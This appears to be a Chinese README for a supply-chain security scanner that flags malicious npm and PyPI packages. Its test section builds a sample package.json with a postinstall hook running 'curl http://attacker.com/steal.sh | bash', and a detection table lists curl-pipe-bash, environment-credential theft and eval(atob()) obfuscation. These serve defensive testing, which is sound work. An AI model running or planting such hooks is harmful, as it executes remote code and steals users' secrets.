CI供应链守卫

一款用于检测CI/CD流水线中恶意依赖项的静态分析工具，可在它们被合并到代码库之前进行拦截。

作者: Otsmane Ahmed
状态: 研究原型 v1.0

快速开始

# 1. 克隆并安装
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # 在 Windows 上: venv\Scripts\activate
pip install -r requirements.txt

# 1. 克隆并安装
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # 在 Windows 上: venv\Scripts\activate
pip install -r requirements.txt

# 2. 扫描一个包目录
python3 main_guard.py /path/to/package

该工具将输出一个判定结果：SAFE（安全）、SUSPICIOUS（可疑）或 BLOCKED（阻止）。

使用示例

在安装前扫描包

如果您已从 npm 或 PyPI 下载了某个包，并想验证其安全性：

# NPM 包
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package

# Python 包
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0

扫描已安装的依赖项

检查项目中已安装的包：

# 扫描所有 npm 包
python3 main_guard.py ./node_modules

# 扫描特定 Python 包
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

注意：扫描大型目录（如 node_modules）会花费更长时间。为了更快获得结果，请逐个扫描包。

CI/CD 集成

示例 GitHub Actions 工作流：

name: Security Scan
on: [pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Setup Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.10'
      - name: Install CI-Guard
        run: |
          git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
          cd ci-supplychain-guard
          pip install -r requirements.txt
      - name: Scan Dependencies
        run: |
          cd ci-supplychain-guard
          python3 main_guard.py ../your-project-directory

如果检测到恶意代码，流水线将失败（退出码 1）。

理解输出

安全包

$ python3 main_guard.py ./clean-package

Scanning target: ./clean-package
Running static analysis...
Static Risk Score: 0/100
Verdict: SAFE

未检测到恶意模式。

被阻止的包

$ python3 main_guard.py ./evil-package

Scanning target: ./evil-package
Running static analysis...
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)

检测到危险模式（例如，Shell 注入、凭据窃取）。请勿安装此包。

分数达到 10 或更高的包将被自动阻止。

可疑包

$ python3 main_guard.py ./suspicious-package

Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...

发现一些令人担忧的模式。如果 Docker 正在运行，该包将在隔离的沙盒中进行验证。建议手动审查。

检测能力

测试该工具

您可以通过创建一个示例恶意包来测试 CI-Guard：

# 创建测试目录
mkdir ~/test-malicious
cd ~/test-malicious

# 创建包含恶意 postinstall 钩子的 package.json
cat > package.json << 'EOF'
{
  "name": "evil-package",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "curl http://attacker.com/steal.sh | bash"
  }
}
EOF

# 扫描它
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious

预期输出：

Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)

性能

生态系统	测试包数量	检测率
NPM	15,059	89.6%
PyPI	2,257	82.2%

平均扫描时间：每个包 1-3 秒（仅静态分析）

常见问题

我可以扫描已经安装的包吗？

可以。将 CI-Guard 指向您的 node_modules 目录或 Python 的 site-packages：

python3 main_guard.py ./node_modules/some-package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests

如果合法包被标记怎么办？

CI-Guard 采取谨慎态度。如果您信任被标记的包：

检查 analyzer/static_scanner.py 中的检测规则
识别触发警报的模式
手动审查包的源代码

这能在 Windows 和 macOS 上运行吗？

可以。Python 和 Docker 是跨平台的。

我需要安装 Docker 吗？

Docker 仅用于得分为 4-9（可疑）的包。大多数包要么明显安全（0-3），要么明显恶意（10 或更高）。

要求

Python 3.10+
Docker（可选，用于沙盒验证）
支持的操作系统：Linux、macOS、Windows

工作原理

CI-Guard 使用三层“交通灯”系统：

绿色（0-3）： 安全 - 未检测到恶意模式
黄色（4-9）： 可疑 - 需要沙盒验证
红色（10+）： 阻止 - 发现关键恶意模式

检测方法：

静态分析： 使用正则表达式和 AST（抽象语法树）进行模式匹配
可达性分析： 过滤死代码引起的误报
沙盒： 可选的 Docker 容器，包含蜜罐令牌以检测规避行为

贡献

欢迎提交拉取请求。要添加新的检测规则：

编辑 analyzer/static_scanner.py 并添加到 RULES 列表中：

{
    "id": "SA-XXX",
    "name": "Rule Name",
    "pattern": r"regex_pattern",
    "weight": 8  # 分数贡献值（1-10）
}

许可证

MIT 许可证 - 详见 LICENSE 文件。

联系方式

Otsmane Ahmed - GitHub

Shell 注入	`curl evil.com \| bash`	已检测
凭据窃取	读取 `process.env` 并发送到外部服务器	已检测
代码混淆	`eval(atob('base64...'))`	已检测
恶意安装脚本	NPM `postinstall` 钩子	已检测
二进制文件	包中的 `.exe`、`.dll`	已检测
域名抢注	与流行包名称相似	需手动检查

ci-supplychain-guard

最受欢迎